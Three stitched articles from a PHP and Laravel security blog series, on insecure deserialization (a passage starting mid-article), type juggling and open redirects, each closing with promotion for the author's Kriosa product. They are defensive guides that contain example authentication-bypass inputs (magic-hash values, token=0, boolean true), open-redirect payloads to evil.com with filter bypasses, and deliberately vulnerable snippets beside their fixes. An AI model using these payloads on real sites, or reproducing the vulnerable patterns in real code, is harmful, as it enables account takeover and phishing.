The risk appears when an attacker can influence the queue payload or the storage behind it — for example, through compromised queue infrastructure, unauthorized Redis access, a database compromise, or application code that places attacker-controlled serialized objects into a job.

Laravel's SerializesModels trait provides special handling for Eloquent models:

class ProcessOrder implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

    public function __construct(
        public Order $order
    ) {}
}

Rather than serializing the complete Eloquent model into the job payload, Laravel serializes information needed to retrieve the model again when the job is processed. Loaded relationships can also affect the serialized payload, so large or unnecessary relationships should be avoided.

Never do this in a job:

// Dangerous — serializing user-supplied data into a job
class ProcessUserData implements ShouldQueue
{
    public $userData;

    public function __construct(string $rawUserData)
    {
        // If $rawUserData contains a serialized object this is dangerous
        $this->userData = unserialize($rawUserData);
    }
}

The important security rule: do not treat queue storage as a place where untrusted users can write arbitrary serialized objects. Protect Redis, database-backed queues, and other queue infrastructure as security-sensitive systems.

The Safe Alternatives

Use JSON instead of serialize():

// Instead of this
$data = serialize($object);
$object = unserialize($data);

// Do this
$data = json_encode($object);
$array = json_decode($data, true); // returns array, not object

json_decode() with true as the second argument returns an associative array never an object instance. JSON does not invoke PHP object magic methods during decoding, which makes it substantially safer than PHP object deserialization for data crossing trust boundaries.

When You Must Deserialize Existing PHP Data

The safest option is to avoid PHP serialization for data that crosses a trust boundary PHP's own documentation recommends a standard format such as JSON instead of unserialize() for untrusted data.

If you have a legitimate reason to deserialize externally stored PHP data, allowed_classes can reduce the object-instantiation attack surface:

// Explicitly allow only the classes you expect
$value = unserialize($data, [
    'allowed_classes' => ['MyClass', 'AnotherClass']
]);

// Do not instantiate serialized classes
$value = unserialize($data, [
    'allowed_classes' => false
]);

With allowed_classes => false, serialized objects are not instantiated as their original classes PHP represents them as __PHP_Incomplete_Class objects instead, with no magic methods to trigger.

However, allowed_classes should not be treated as a way to make arbitrary attacker-controlled input safe. PHP's documentation explicitly warns against passing untrusted input to unserialize() regardless of the allowed_classes setting.

If serialized data must cross a trust boundary, authenticate it with a strong HMAC and verify the signature before calling unserialize():

function serializeSigned(mixed $data, string $secretKey): string
{
    $serialized = serialize($data);
    $signature = hash_hmac('sha256', $serialized, $secretKey);
    return $signature . ':' . base64_encode($serialized);
}

function unserializeSigned(string $signed, string $secretKey): mixed
{
    $parts = explode(':', $signed, 2);

    if (count($parts) !== 2) {
        throw new RuntimeException('Invalid signed data.');
    }

    [$signature, $encoded] = $parts;
    $serialized = base64_decode($encoded, true);

    if ($serialized === false) {
        throw new RuntimeException('Invalid encoding.');
    }

    $expected = hash_hmac('sha256', $serialized, $secretKey);

    if (!hash_equals($expected, $signature)) {
        throw new RuntimeException('Signature verification failed.');
    }

    return unserialize($serialized, ['allowed_classes' => false]);
}

An attacker who cannot forge the HMAC signature cannot inject malicious serialized data.

The important principle: do not deserialize attacker-controlled PHP objects simply because you restricted the class list. Prefer JSON. If PHP serialization is unavoidable, authenticate the data first and restrict the classes that can be instantiated.

The PHP Version Landscape

allowed_classes has been available since PHP 7.0, and PHP 7.4 added the modern __serialize()/__unserialize() magic methods, which take precedence over __sleep()/__wakeup() when both are defined. Later versions have improved type safety in various ways, but unserialize() itself remains dangerous with untrusted input in every PHP version.

There is no PHP version where unserialize() on untrusted user input is safe without class allowlisting or input signing.

Auditing Your Codebase

# Find all unserialize() calls
grep -rn "unserialize(" app/ bootstrap/ config/

# Find serialize() calls that might store to user-accessible locations
grep -rn "serialize(" app/ | grep -i "cookie\|session\|cache\|redis\|header"

# Find base64_decode followed by unserialize — common attack pattern
grep -rn "base64_decode" app/

# Find dangerous cookie handling
grep -rn "\$_COOKIE" app/

# Check for allowed_classes usage
grep -rn "allowed_classes" app/

For every unserialize() call ask:

Where does this data come from?
Could an attacker influence that data?
Is allowed_classes set to restrict which classes can be instantiated?
Could the data be replaced with JSON?

The Deserialization Security Checklist

For plain PHP:

Never call unserialize() on data from cookies, GET, POST, or any user-controlled source
Replace serialize()/unserialize() with json_encode()/json_decode() wherever possible
If PHP deserialization is unavoidable, use an explicit allowed_classes allowlist where appropriate, authenticate externally stored data before deserializing it, and never treat allowed_classes as a substitute for trusting the input source
Sign serialized data with HMAC before storing in any user-accessible location
Verify the HMAC signature before calling unserialize() use hash_equals() for comparison
Audit every unserialize() call in the codebase and trace where the data originates

For Laravel:

Use SerializesModels in queue jobs it stores model identifiers rather than the full model, and reloads the model when the job runs
Never unserialize user-supplied data inside a queue job
Never use unserialize() on cached data that could have been influenced by user input
Prefer JSON for any data that crosses a trust boundary
Keep Redis and queue database instances on private networks if an attacker can write to your queue storage they can inject malicious jobs
Review any package that calls unserialize() internally check what data it receives

What Is Kriosa?

Kriosa is an application-level and API security layer for PHP and Laravel applications. It sits at the application boundary and inspects incoming requests for suspicious traffic before that traffic reaches sensitive application logic.

For attacks involving serialized PHP payloads, Kriosa can provide an additional detection layer by identifying suspicious request patterns and payload structures associated with object-injection attempts.
But Kriosa is not a replacement for fixing insecure deserialization.

If your application accepts untrusted serialized data, the primary fix is still to remove that trust boundary: prefer JSON, authenticate externally stored serialized data, and avoid unserialize() on attacker-controlled input.

Think of Kriosa as defense in depth, not a substitute for secure application design.
How Kriosa Can Help Detect Suspicious Serialized Payloads
Insecure deserialization is fundamentally an application-layer vulnerability.

The dangerous condition isn't simply that a request contains O: or a base64-encoded value. Legitimate applications can send encoded or serialized data too.
The real problem is that attacker-controlled data eventually reaches a dangerous deserialization operation.
That means detection should be treated as a layer of defense, not the primary fix.
Serialized PHP data has a recognizable format. It uses type indicators such as:

O:   Object
a:   Array
s:   String
i:   Integer
b:   Boolean

A request containing something like:

O:10:"FileLogger":...

or an encoded representation of a serialized object can become a useful security signal when it appears in a parameter, cookie, API request, or endpoint that normally expects a simple value.

Kriosa can help surface suspicious request patterns around these endpoints, including unusual encoded payloads and repeated probing of parameters with serialized-object structures.

The important distinction is:
Detection does not equal prevention.

Prevention Comes First

The application should still:
Avoid unserialize() for untrusted data.
Prefer JSON for data crossing trust boundaries.
Authenticate externally stored serialized data when PHP serialization is genuinely required.
Restrict classes when deserialization cannot be avoided.
Review dangerous magic methods and potential gadget chains.

Detection Adds Another Layer

Once the application has been designed securely, an additional security layer can help identify attempts to exploit weaknesses that may still exist.
An attacker probing an endpoint repeatedly with serialized-object payloads may be attempting to discover an insecure deserialization vulnerability.
That activity is valuable security telemetry.

Kriosa is designed to provide that additional visibility at the application layer helping developers detect, log, investigate, and respond to suspicious application traffic.

For example, in applications such as Prolify, data crossing trust boundaries can use JSON rather than PHP object serialization. In Laravel applications, features such as SerializesModels can reduce the amount of model state that needs to be serialized by representing models through identifiers and restoring them when the job is processed.
The goal is not to make dangerous deserialization safe.

The goal is to reduce the attack surface and add another layer of visibility when someone tries to probe it.

Why Kriosa?

Security controls can fail.
Developers can miss an unsafe unserialize() call. A dependency can introduce an unexpected gadget chain. An old endpoint can remain exposed. A configuration change can create a new trust boundary.
That's why defense in depth matters.
A practical security model can look like:

Secure code → Input validation → Kriosa detection → Logging & response

Each layer has a different job.
Your application code should prevent the vulnerability.
Your validation should reject unexpected input.
Kriosa can provide additional visibility into suspicious traffic.

Your logs and monitoring can help you investigate what happened.
Kriosa doesn't replace secure coding. It gives secure applications another layer to defend and monitor their attack surface.

Insecure Deserialization Security Checklist

Before shipping a PHP or Laravel application, ask:

Do I use unserialize() anywhere in the application?
Can the serialized data originate from a user or another untrusted source?
Can an attacker modify cookies, API parameters, cache entries, queue data, or other serialized values?
Can I replace PHP serialization with JSON?
If serialized data must cross a trust boundary, is it authenticated with an HMAC or another integrity mechanism?
Have I avoided treating allowed_classes as a complete security solution?
If classes must be allowed, have I explicitly restricted the permitted classes?
Have I reviewed __unserialize(), __wakeup(), and __destruct() for dangerous behavior?
Have I checked for classes that write files, execute commands, make network requests, modify application state, or perform other sensitive operations?
Have I reviewed third-party dependencies for potential gadget chains?
Have I checked Laravel jobs and other serialized application data for unexpected trust boundaries?
Are suspicious requests being logged and monitored?
Do I have an additional detection layer for malicious application traffic?

The goal isn't simply to remove one dangerous function.
The goal is to make sure untrusted data never gets the opportunity to become an executable object inside your application.

Try Kriosa

Try it free: kriosa.com

Install it:

composer require kriosa-ai/kriosa-php

Documentation: Kriosa Documentation

Built by a developer from Cameroon, for developers who want to understand their security - not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem - why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries - the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP - how ../ escapes your application
Article 9: Command injection in PHP - when exec() becomes an attack surface
Article 10: Broken access control in Laravel - why being logged in is not enough
Article 11: Secrets in Laravel - why .env is only the beginning
Article 12: Session security in PHP - what most developers get wrong
Article 13: Rate limiting in Laravel and PHP - how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel - the lines that harden every response
Article 15: IDOR in PHP and Laravel - when changing one number exposes someone else's data
Article 16: This article - mass assignment in PHP and Laravel and when user input becomes more than it should
Article 17: This article - open redirect vulnerabilities in PHP and Laravel
Article 18: PHP type juggling - when 0 equals admin
Article 19: This article - insecure deserialization in PHP and when your cache becomes an attack surface

PHP Type Juggling — When 0 Equals "admin"

Nchiminyi — Founder, Kriosa — Tue, 01 Sep 2026 13:06:53 +0000

This is the eighteenth article in a series on PHP and Laravel application security.

So far we have covered:

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should
Article 17: Open redirect vulnerabilities in PHP and Laravel

Every article in this series follows the same principle understand the attack before you try to stop it.

Type juggling is PHP's most surprising security vulnerability. It does not require a misconfigured server. It does not require a forgotten input validation check. It requires only that you used == instead of === in the wrong place and that you did not know why that mattered.

The Two Comparison Operators

PHP has two equality operators and the difference between them is the core of this vulnerability.

== loose comparison converts types before comparing. If you compare an integer to a string PHP decides what type to use and converts accordingly.

=== strict comparison compares both value and type. An integer is never equal to a string regardless of value.

One character difference. Completely different security implications.

The Surprising Truth About PHP 7

Run this code on PHP 7:

var_dump(0 == "admin");    // bool(true)
var_dump(0 == "password"); // bool(true)
var_dump(0 == "anything"); // bool(true)
var_dump(0 == "");         // bool(true)
var_dump(0 == null);       // bool(true)

Every one of those comparisons returns true.

When PHP 7 compares an integer to a non-numeric string it converts the string to an integer. Non-numeric strings like "admin" convert to 0. So 0 == "admin" becomes 0 == 0 which is true.

This was a deliberate design decision from PHP's early days when loose typing was considered a feature. It became a security problem as PHP was used in authentication systems that nobody anticipated when those decisions were made.

PHP 8 changed this behavior:

var_dump(0 == "admin");    // bool(false) — PHP 8
var_dump(0 == "password"); // bool(false) — PHP 8
var_dump(0 == "");         // bool(false) — PHP 8
var_dump(0 == null);       // bool(true)  — still true in PHP 8
var_dump("1" == "01");     // bool(true)  — still true in PHP 8
var_dump("10" == "1e1");   // bool(true)  — scientific notation, still true

PHP 8 fixed the integer-to-non-numeric-string comparison. But many behaviors remain unchanged. And many production applications still run PHP 7 including shared hosting environments that have not been upgraded. Always use === regardless of PHP version.

The Magic Hash Vulnerability

Here is a real authentication bypass using type juggling. This is not hypothetical — it has appeared in production authentication systems:

// Dangerous — loose comparison in token validation
$token = $_GET['token'];
$validToken = getTokenFromDatabase(); // returns '0e123456789'

if ($token == $validToken) {
    grantAccess();
}

An attacker sends token=0.

The stored token '0e123456789' resembles scientific notation: 0 × 10^123456789. PHP 7's loose comparison converts it to float 0.0. The attacker's 0 also converts to 0.0. PHP compares 0.0 == 0.0 which is true. The attacker is authenticated without knowing the token.

Important context on magic hashes:

This specific attack requires that the stored hash begins with 0e followed only by digits. In practice this means the attack is probabilistic — not every hash will have this property. However applications that do not control what hash values are stored, or that generate tokens using algorithms where magic hashes are possible, are at meaningful risk. The fix is simple and the cost of not applying it is high.

Known hash values that evaluate to 0 under PHP 7 loose comparison:

MD5("240610708")  = 0e462097431906509019562988736854
MD5("QNKCDZO")   = 0e830400451993494058024219903391
SHA1("aaroZmOk") = 0e66507019969427134894567494305185566735

Any of these compared with == to 0 returns true in PHP 7.

Type Juggling in switch Statements

switch in PHP uses loose comparison internally — the same vulnerability appears in role and permission checks:

$role = $_GET['role'];

switch ($role) {
    case 'admin':
        grantAdminAccess();
        break;
    case 0:
        denyAccess();
        break;
    default:
        grantBasicAccess();
}

An attacker sends role=0. PHP 7 evaluates switch cases in order — first it checks 0 == 'admin' which is true in PHP 7 and grants admin access before ever reaching the deny case.

This specific behavior changed in PHP 8 where 0 == 'admin' is false. However the general principle that switch uses loose comparison remains true in PHP 8 for other type combinations. The safe pattern is to avoid mixing types in switch cases and validate input types before reaching any switch statement:

$role = (string) ($_GET['role'] ?? '');

if ($role === 'admin') {
    grantAdminAccess();
} elseif ($role === 'editor') {
    grantEditorAccess();
} else {
    denyAccess();
}

Type Juggling in `in_array()`

in_array() uses loose comparison by default — a frequently missed vulnerability:

$allowedRoles = ['admin', 'editor', 'viewer'];
$role = 0; // attacker supplied as integer

if (in_array($role, $allowedRoles)) {
    // In PHP 7: 0 == 'admin' → true
    // Attacker passes the check
    grantAccess();
}

The fix is the third parameter — strict mode:

if (in_array($role, $allowedRoles, true)) { // strict: true
    // Now uses === so 0 === 'admin' → false
    grantAccess();
}

Always pass true as the third argument to in_array() when comparing values where type matters. This single parameter change prevents the entire category of in_array() type juggling vulnerabilities.

Type Juggling in JSON API Endpoints

APIs that accept JSON are particularly vulnerable because JSON has native boolean and null types that interact unexpectedly with PHP's ==:

$data = json_decode(file_get_contents('php://input'), true);
$token = $data['token'];

if ($token == $storedToken) {
    // authenticated
}

An attacker sends:

{"token": true}

In PHP true == "any_non_empty_string" is true in both PHP 7 and PHP 8. The attacker is authenticated by sending boolean true as their token without knowing the actual token value.

Or they send:

{"token": 0}

Which triggers the integer comparison bypass in PHP 7.

The fix — validate type before comparing:

$data = json_decode(file_get_contents('php://input'), true);
$token = $data['token'] ?? null;

if (!is_string($token) || strlen($token) === 0) {
    http_response_code(401);
    die('Invalid token.');
}

if (!hash_equals($storedToken, $token)) {
    http_response_code(401);
    die('Invalid token.');
}

`hash_equals()` — The Correct Token Comparison

For comparing tokens, hashes, and secrets PHP provides hash_equals():

// Wrong — loose comparison
if ($token == $storedToken) { }

// Better but incomplete — strict but timing-attack vulnerable
if ($token === $storedToken) { }

// Correct — strict, type-safe, timing-attack resistant
if (hash_equals($storedToken, $token)) { }

hash_equals() does two important things.

Constant-time comparison — it always takes the same amount of time regardless of how many characters match. This prevents timing attacks where an attacker measures response time to determine how many characters of a token they guessed correctly.

Type enforcement — if either argument is not a string hash_equals() returns false, preventing boolean and integer bypass attacks.

Always use hash_equals() for token and hash comparisons. Always use password_verify() for password comparisons. Never use == or === directly for these comparisons.

The Safe Authentication Pattern

Passwords:

function authenticate(PDO $pdo, string $username, string $password): bool
{
    $stmt = $pdo->prepare('
        SELECT password_hash FROM users WHERE username = ?
    ');
    $stmt->execute([$username]);
    $user = $stmt->fetch();

    if (!$user) {
        // Call password_verify anyway to prevent timing-based
        // username enumeration — takes the same time as a real check
        password_verify($password, '$2y$10$invaliddummyhashfortiming000000000000000000000000000000');
        return false;
    }

    return password_verify($password, $user['password_hash']);
}

Tokens and API keys:

function verifyToken(string $storedToken, mixed $suppliedToken): bool
{
    if (!is_string($suppliedToken) || strlen($suppliedToken) === 0) {
        return false;
    }

    return hash_equals($storedToken, $suppliedToken);
}

Role checks:

// Wrong — loose comparison
if ($user->role == 'admin') { }

// Correct — strict comparison always
if ($user->role === 'admin') { }
if ((int) $user->role === 1) { }

Type Juggling in Laravel

Laravel's default authentication system uses password_verify() internally — the Auth facade and Eloquent-based authentication are not vulnerable to type juggling in password comparison.

But type juggling appears in custom Laravel code.

Custom token validation:

// Dangerous
if ($request->input('token') == $user->api_token) {
    // vulnerable to 0/true bypass
}

// Safe
$token = $request->input('token');
if (!is_string($token) || !hash_equals($user->api_token, $token)) {
    abort(401);
}

Custom middleware:

// Dangerous
if ($request->header('X-API-Key') == config('app.api_key')) {
    // vulnerable
}

// Safe
$key = $request->header('X-API-Key', '');
if (!hash_equals(config('app.api_key'), (string) $key)) {
    abort(401);
}

JSON API validation:

// Dangerous — boolean true bypasses this
$token = $request->json('token');
if ($token == $storedToken) { }

// Safe
$token = $request->json('token');
if (!is_string($token) || !hash_equals($storedToken, $token)) {
    abort(401);
}

in_array() in Laravel:

// Dangerous
if (in_array($request->input('role'), ['admin', 'editor'])) {
    // type juggling bypass possible
}

// Safe
if (in_array($request->input('role'), ['admin', 'editor'], true)) {
    // strict comparison
}

Auditing Your Codebase

# Find loose comparisons in security-sensitive contexts
grep -rn " == " app/ | grep -i "token\|password\|hash\|key\|auth\|role\|admin"

# Find in_array without strict mode
grep -rn "in_array(" app/ | grep -v ", true)"

# Find switch statements with mixed-type cases
grep -rn "case 0\b\|case 1\b\|case true\b\|case false\b" app/

# Find JSON handling followed by comparison
grep -rn "json_decode\|->json(" app/

Not every loose comparison is exploitable — context matters. But every result in an authentication or authorization context deserves careful review.

The Type Juggling Checklist

For plain PHP:

Never use == to compare tokens, passwords, hashes, roles, or permission values
Always use === for equality checks where type matters
Always pass true as the third argument to in_array() in security contexts
Always use password_verify() for password comparison
Always use hash_equals() for token and hash comparison
Validate JSON input types with is_string() or is_int() before any comparison
Never compare authentication values against null, 0, or false using ==
Test your authentication code on both PHP 7 and PHP 8 if your hosting environment may run either

For Laravel:

Trust Laravel's built-in Auth system for password comparison
Use hash_equals() for any custom token or API key comparison
Use strict in_array() with true as the third argument
Validate JSON request types before comparison — $request->json('token') returns mixed
Use === not == in all custom middleware authorization checks
Cast types explicitly before comparison when working with database values

Where Kriosa Fits

Type juggling vulnerabilities are exploited through authentication parameters — tokens, API keys, role values — that carry unexpected types or magic values designed to trigger loose comparison bypasses.

A request that sends token=0 or {"token": true} where a string token is expected is behaviorally unusual. Systematic probing of authentication endpoints with numeric values, boolean values, and zero-like strings is a behavioral pattern that differs from legitimate user authentication.

Kriosa monitors incoming requests for these behavioral signals — unusual type values in authentication parameters, systematic testing of token endpoints with non-string values, and request patterns that differ from normal application usage. These signals appear in the XAI dashboard with an explanation of what was detected and why it was flagged.

Prevention through ===, hash_equals(), and type validation stops the bypass at the application layer. Detection through behavioral monitoring tells you when someone is probing for loose comparisons to exploit.

In Prooflify all token comparisons use hash_equals(). In Belle-Full all role checks use strict comparison. Neither application uses == in authentication or authorization flows.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Documentation : kriosa Docs
Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should
Article 17: Open redirect vulnerabilities in PHP and Laravel
Article 18: This article — PHP type juggling and when 0 equals admin

Open Redirect Vulnerabilities in PHP and Laravel — When Your Own Domain Becomes the Attack

Nchiminyi — Founder, Kriosa — Fri, 28 Aug 2026 07:00:00 +0000

The attacker does not need to trick users into visiting evil.com. They trick them into visiting yoursite.com which redirects them there automatically.

This is the seventeenth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning
Session security in PHP — what most developers get wrong
Rate limiting in Laravel and PHP — how to stop brute force before it starts
Security headers in PHP and Laravel — the lines that harden every response
IDOR in PHP and Laravel — when changing one number exposes someone else's data
Mass assignment in PHP and Laravel — when user input becomes more than it should

Every article in this series follows the same principle understand the attack before you try to stop it.

Open redirects are sometimes dismissed as low severity. That framing misses the real risk. A redirect vulnerability that sends users from your trusted domain to an attacker's phishing page is not low severity it is a trust weaponization attack that uses your reputation against your own users.

What an Open Redirect Is

Your application has a login page. After successful login it redirects the user back to where they were:

https://yoursite.com/login?redirect=/dashboard

Your code:

header('Location: ' . $_GET['redirect']);
exit;

For a legitimate user redirect=/dashboard works perfectly. They log in and land on their dashboard.

An attacker crafts this URL and sends it to a victim:

https://yoursite.com/login?redirect=https://evil.com/fake-login

The victim sees yoursite.com in the link. They trust it. They click it. They log into your application. Your application immediately redirects them to evil.com/fake-login a page that looks identical to yours and asks them to enter their credentials again.

The victim never saw evil.com in a URL they were asked to trust. They only saw yoursite.com.

That is an open redirect. Your domain's trust, redirected against your users.

Why Open Redirects Are More Dangerous Than They Look

They weaponize your domain's reputation.
A direct link to evil.com looks suspicious. Email spam filters flag it. Users hesitate. A link through yoursite.com inherits your domain's trust. It passes filters. Users click without hesitation.

They chain with other vulnerabilities.
An open redirect combined with an OAuth flow can allow an attacker to steal authorization codes. Combined with a password reset flow it may allow stealing reset tokens. The standalone impact varies by context in some cases it is genuinely low. But in authentication flows and OAuth implementations it can contribute to account takeover when chained with other weaknesses.

They are permanent phishing infrastructure.
Once an attacker discovers an open redirect on your domain they have a phishing asset tied to your reputation for as long as the vulnerability exists.

The Four Places Open Redirects Appear

Login redirect parameters — the most common:

/login?redirect=https://evil.com
/login?return_to=https://evil.com
/login?next=https://evil.com

Logout redirect parameters:

/logout?redirect=https://evil.com

Error page redirects:

/404?return=https://evil.com

Link trackers and URL shorteners:

/go?url=https://evil.com
/track?link=https://evil.com
/redirect?to=https://evil.com

The Wrong Fixes

Most developers who know about open redirects implement fixes that do not work. Understanding why they fail is as important as knowing the correct solution.

Wrong fix 1 — Checking for http

$redirect = $_GET['redirect'];
if (strpos($redirect, 'http') === false) {
    header('Location: ' . $redirect);
    exit;
}
header('Location: /dashboard');
exit;

An attacker sends:

//evil.com/phishing

Protocol-relative URLs begin with //. The browser treats them as HTTPS or HTTP depending on the current protocol. Your check looks for http and finds nothing. The redirect executes.

Wrong fix 2 — Checking for your domain name in the string.

$redirect = $_GET['redirect'];
if (strpos($redirect, 'yoursite.com') !== false) {
    header('Location: ' . $redirect);
    exit;
}
header('Location: /dashboard');
exit;

An attacker sends:

https://evil.com/yoursite.com/phishing

or:

https://yoursite.com.evil.com/phishing

Your check finds yoursite.com in the string. The redirect executes.

Wrong fix 3 — Partial parse_url() validation:

$redirect = $_GET['redirect'];
$parsed = parse_url($redirect);

if ($parsed['host'] === 'yoursite.com') {
    header('Location: ' . $redirect);
    exit;
}
header('Location: /dashboard');
exit;

URL parsing behavior can differ between PHP and browsers in edge cases involving characters like \ and @. Checking a single parsed component without validating scheme and ensuring the full URL resolves as expected is not sufficient protection. Complete validation requires checking scheme, host, and ensuring the URL does not contain bypass characters.

Wrong fix 4 — Blacklisting specific domains:

The number of domains an attacker can register is unlimited. Blacklisting specific domains is not a security control.

The Correct Fixes

Fix 1 — Whitelist approach — the strongest fix.

Never accept arbitrary URLs. Accept a key that maps to a known safe destination.

$allowedRedirects = [
    'dashboard' => '/dashboard',
    'profile'   => '/profile',
    'settings'  => '/settings',
    'orders'    => '/orders',
];

$key = $_GET['redirect'] ?? 'dashboard';
$redirect = $allowedRedirects[$key] ?? '/dashboard';

header('Location: ' . $redirect);
exit;

The attacker cannot redirect to an external URL because the destination is never derived from user input. This eliminates the attack surface entirely.

Fix 2 — Relative URL validation.

If you must accept user-supplied paths restrict them to paths relative to your own domain.

function isSafeRedirect(string $url): bool
{
    // Must not be protocol-relative
    if (str_starts_with($url, '//')) {
        return false;
    }

    // Must not contain a scheme
    if (preg_match('/^[a-zA-Z][a-zA-Z0-9+\-.]*:/', $url)) {
        return false;
    }

    // Must start with a forward slash
    if (!str_starts_with($url, '/')) {
        return false;
    }

    return true;
}

$redirect = $_GET['redirect'] ?? '/dashboard';

if (!isSafeRedirect($redirect)) {
    $redirect = '/dashboard';
}

header('Location: ' . $redirect);
exit;

A URL that starts with / and contains no scheme is always relative to the current domain. There is no way to redirect to an external site within these constraints.

Fix 3 — Domain validation for absolute URLs

If you must allow absolute URLs validate both scheme and host precisely

function isTrustedRedirect(string $url, string $trustedHost): bool
{
    $parsed = parse_url($url);

    if (empty($parsed['host'])) {
        return false;
    }

    if (!in_array($parsed['scheme'] ?? '', ['http', 'https'], true)) {
        return false;
    }

    $host = strtolower($parsed['host']);
    $trusted = strtolower($trustedHost);

    // Exact match or confirmed subdomain only
    return $host === $trusted || str_ends_with($host, '.' . $trusted);
}

$redirect = $_GET['redirect'] ?? '/dashboard';

if (!isTrustedRedirect($redirect, 'yoursite.com')) {
    $redirect = '/dashboard';
}

header('Location: ' . $redirect);
exit;

The host must exactly match your domain or be a confirmed subdomain. The scheme must be http or https.

A note on defense in depth:

Even with validation in place it is worth adding a fallback default. If validation fails for any reason unexpected input format, edge case in parse_url() the application falls back to a known safe destination rather than proceeding with an unvalidated URL.

$redirect = $_GET['redirect'] ?? '/dashboard';
$safe = isSafeRedirect($redirect) ? $redirect : '/dashboard';
header('Location: ' . $safe);
exit;

Open Redirects in Laravel

Laravel's redirect() helper is convenient. The vulnerability appears when user input reaches it without validation.

// Dangerous
public function login(Request $request)
{
    // ... authenticate user
    $redirect = $request->input('redirect', '/dashboard');
    return redirect($redirect);
}

Fix 1 — Use redirect()->intended() for post-login redirects.

Laravel's intended redirect system stores the originally requested URL in the session before redirecting to login.

// In your authentication middleware
return redirect()->guest('/login');

// After successful login
return redirect()->intended('/dashboard');

redirect()->intended() reads the stored URL from the session not from user input. The intended URL was stored server-side before the user ever saw the login page. This is the correct pattern for post-login redirects in Laravel.

Fix 2 — Whitelist in Laravel:

public function login(Request $request)
{
    // ... authenticate user

    $allowedRedirects = [
        'dashboard' => '/dashboard',
        'profile'   => '/profile',
        'settings'  => '/settings',
        'orders'    => '/orders',
    ];

    $key = $request->input('redirect', 'dashboard');
    $redirect = $allowedRedirects[$key] ?? '/dashboard';

    return redirect($redirect);
}

Fix 3 — Relative URL validation in Laravel.

public function login(Request $request)
{
    // ... authenticate user

    $redirect = $request->input('redirect', '/dashboard');

    if (!str_starts_with($redirect, '/') ||
        str_starts_with($redirect, '//') ||
        preg_match('/^[a-zA-Z][a-zA-Z0-9+\-.]*:/', $redirect)) {
        $redirect = '/dashboard';
    }

    return redirect($redirect);
}

Fix 4 — Signed URLs for trusted flows.

For email links, password reset flows, and OAuth callbacks use Laravel's signed URLs.

// Generate a signed URL that includes the redirect destination
$url = URL::signedRoute('post.login.redirect', [
    'destination' => '/orders/1042'
]);

// Verify the signature before redirecting
public function postLoginRedirect(Request $request)
{
    if (!$request->hasValidSignature()) {
        abort(403);
    }

    $destination = $request->input('destination', '/dashboard');

    // Validate even after signature check
    if (!str_starts_with($destination, '/') ||
        str_starts_with($destination, '//')) {
        $destination = '/dashboard';
    }

    return redirect($destination);
}

Signed URLs cannot be tampered with the cryptographic signature covers the entire URL including the destination parameter. An attacker who changes the destination invalidates the signature.

Open Redirects in OAuth Flows

OAuth flows are where open redirects can reach critical severity.

When your application implements OAuth login the authorization server redirects back to your application with an authorization code. If your application uses a user-supplied redirect_uri that is not validated against a registered allowlist an attacker can potentially intercept that authorization code:

// Dangerous
$callbackUri = $_GET['redirect_uri'];
header('Location: ' . $callbackUri . '?code=' . $authCode);

OAuth specifications require redirect URIs to be registered in advance and validated with exact string matching not prefix or suffix matching.

$registeredCallbacks = [
    'https://yoursite.com/oauth/callback',
    'https://yoursite.com/oauth/mobile/callback',
];

$callbackUri = $_GET['redirect_uri'] ?? '';

if (!in_array($callbackUri, $registeredCallbacks, true)) {
    http_response_code(400);
    die('Invalid redirect URI.');
}

Any deviation from a registered URI should fail the OAuth flow entirely. The security of the OAuth flow depends on this check being exact.

The Open Redirect Checklist

For plain PHP

Never pass $_GET or $_POST values directly to header('Location: ...')
Use a whitelist of allowed redirect destinations mapped by key wherever possible
If you must accept user-supplied paths validate they are relative start with /, no scheme, no //
If you must allow absolute URLs validate scheme is http or https and host exactly matches your domain or a confirmed subdomain
Always fall back to a known safe default if validation fails for any reason
Never blacklist specific domains
